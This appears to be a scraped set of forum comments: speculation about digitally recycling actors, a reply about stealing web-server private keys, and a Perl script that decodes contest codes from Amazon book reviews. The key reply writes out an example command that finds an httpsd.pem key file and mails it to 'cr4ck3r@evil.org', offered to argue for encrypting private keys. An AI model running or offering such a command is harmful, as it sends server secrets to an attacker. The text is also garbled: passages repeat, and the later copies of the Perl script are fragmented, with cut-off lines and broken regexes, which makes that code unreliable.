Pretty much any piece of video that has ever been recorded is becoming clip art that producers can digitally sculpt into the story they want to tell, according to Eric Haseltine, senior vice president for R&D at Walt Disney Imagineering in Glendale, Calif.
The questions this brings up about authenticity aside, what if (when!) it becomes cheaper to recycle media stars, actors, newscasters, etc... than to produce a genuine piece of work with real people? Would there be a dearth of new faces or will viewers tire of the same old people? This recycling concept accepted as a given, I wonder if this would lead to a "freezing" of culture? With no new material being produced, will people bother changing the mood and and social reflections in these recycled adaptions? Out there, I know, but worth consideration. Brings to mind Ronald Reagan in the Cafe 80's in Back to the Future II.
>Van Someren noted that it's possible that >others - hackers, in particular - already have >discovered the path to the once-hidden >encryption keys.
If a cracker already has access to the server, why bother looking for really random data? Most webservers have a standard filename for the private key. Don't need much experience in information theory "find the path" to "hidden" keys. Eg: "cat `locate httpsd.pem` | sendmail cr4ck3r@evil.org"
The smartest solution is to encrypt the private key and require the webmaster to decrypt it whenever the server's started. That way, a pilfered keyfile is worthless to the cracker.
#default url of books at Amazon.com $url="lynx -source http://www.amazon.com/exec/obidos/ASIN/ISBN/";
#code given for contest @codes = ( "038-097-34-64-242-335-51-377-183-168", "038-097-34-64-380-330-115-289-273-189-56", "068-486-42-23-87-434-10-468-151-345-150-494-376 -415-426", "038-549-53-15-1-193-121-29-109-66-28-160-106", "047-111-70-99-24-21-25-12-53-22-56-8", ); $|=1; foreach $line (@codes){ my @nums = split/-/,$line; #split codeline into array of nums my $isbn=""; for (1... 4){ $isbn.= shift @nums; #get ISBN of book }
my $turl=$url; $turl =~ s/ISBN/$isbn/; #fetch book review from amazon.com undef $/; open (DOC,"$turl |"); my $text = ; close(DOC);
$text =~ m/Amazon\.com: A Glance: ([^]+>|'//g; #remove HTML $text =~ tr/a-z/A-Z/; #all caps $text =~ s/[ \n\t\-\)\(",\/.]+//g; #get rid of all but words $text =~ s/^.*REVIEWS AMAZON COM//; #skip to review my @words = split //, $text; #arrayize words
foreach $num (@nums){ print $words[$num - 1], " "; #print word for index given } print "\n\n"; }
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Pretty much any piece of video that has ever been recorded is becoming clip art that producers can digitally sculpt into the story they want to tell, according to Eric Haseltine, senior vice president for R&D at Walt Disney Imagineering in Glendale, Calif.
The questions this brings up about authenticity aside, what if (when!) it becomes cheaper to recycle media stars, actors, newscasters, etc... than to produce a genuine piece of work with real people? Would there be a dearth of new faces or will viewers tire of the same old people? This recycling concept accepted as a given, I wonder if this would lead to a "freezing" of culture? With no new material being produced, will people bother changing the mood and and social reflections in these recycled adaptions? Out there, I know, but worth consideration. Brings to mind Ronald Reagan in the Cafe 80's in Back to the Future II.
>Van Someren noted that it's possible that
>others - hackers, in particular - already have
>discovered the path to the once-hidden
>encryption keys.
If a cracker already has access to the server,
why bother looking for really random data? Most
webservers have a standard filename for the
private key. Don't need much experience in
information theory "find the path" to "hidden" keys. Eg:
"cat `locate httpsd.pem` | sendmail cr4ck3r@evil.org"
The smartest solution is to encrypt the private key and require the webmaster to decrypt it whenever the server's started. That way, a pilfered keyfile is worthless to the cracker.
My log2(4) cents.
#!/usr/bin/perl
6 -415-426", /-/,$line; #split codeline into array of nums ... 4){
/g; #get rid of all but words //; #skip to review /, $text; #arrayize words
#default url of books at Amazon.com
$url="lynx -source http://www.amazon.com/exec/obidos/ASIN/ISBN/";
#code given for contest
@codes = (
"038-097-34-64-242-335-51-377-183-168",
"038-097-34-64-380-330-115-289-273-189-56",
"068-486-42-23-87-434-10-468-151-345-150-494-37
"038-549-53-15-1-193-121-29-109-66-28-160-106",
"047-111-70-99-24-21-25-12-53-22-56-8",
);
$|=1;
foreach $line (@codes){
my @nums = split
my $isbn="";
for (1
$isbn.= shift @nums; #get ISBN of book
}
my $turl=$url;
$turl =~ s/ISBN/$isbn/; #fetch book review from amazon.com
undef $/; open (DOC,"$turl |"); my $text = ; close(DOC);
$text =~ m/Amazon\.com: A Glance: ([^]+>|'//g; #remove HTML
$text =~ tr/a-z/A-Z/; #all caps
$text =~ s/[ \n\t\-\)\(",\/.]+/
$text =~ s/^.*REVIEWS AMAZON COM
my @words = split /
foreach $num (@nums){
print $words[$num - 1], " "; #print word for index given
}
print "\n\n";
}
#!/usr/bin/perl
6 -415-426", /-/,$line; ... 4){
/g; //; /, $text;
$url="lynx -source http://www.amazon.com/exec/obidos/ASIN/ISBN/";
@codes = (
"038-097-34-64-380-330-115-289-273-189-56",
"068-486-42-23-87-434-10-468-151-345-150-494-37
"038-549-53-15-1-193-121-29-109-66-28-160-106",
"047-111-70-99-24-21-25-12-53-22-56-8",
);
$|=1;
foreach $line (@codes){
my $turl=$url;
$turl =~ s/ISBN/$isbn/;
my @nums = split
my $isbn="";
for (1
$isbn.= shift @nums;
}
undef $\; open (DOC,"$turl |"); my $text = ; close(DOC);
print "** $text **\n";
$text =~ m/Amazon\.com: A Glance: ([^]+>|'//g;
$text =~ tr/a-z/A-Z/;
$text =~ s/[ \n\t\-\)\(",\/.]+/
$text =~ s/^.*REVIEWS AMAZON COM
my @words = split /
foreach $num (@nums){
print $words[$num - 1], " ";
}
print "\n\n";
}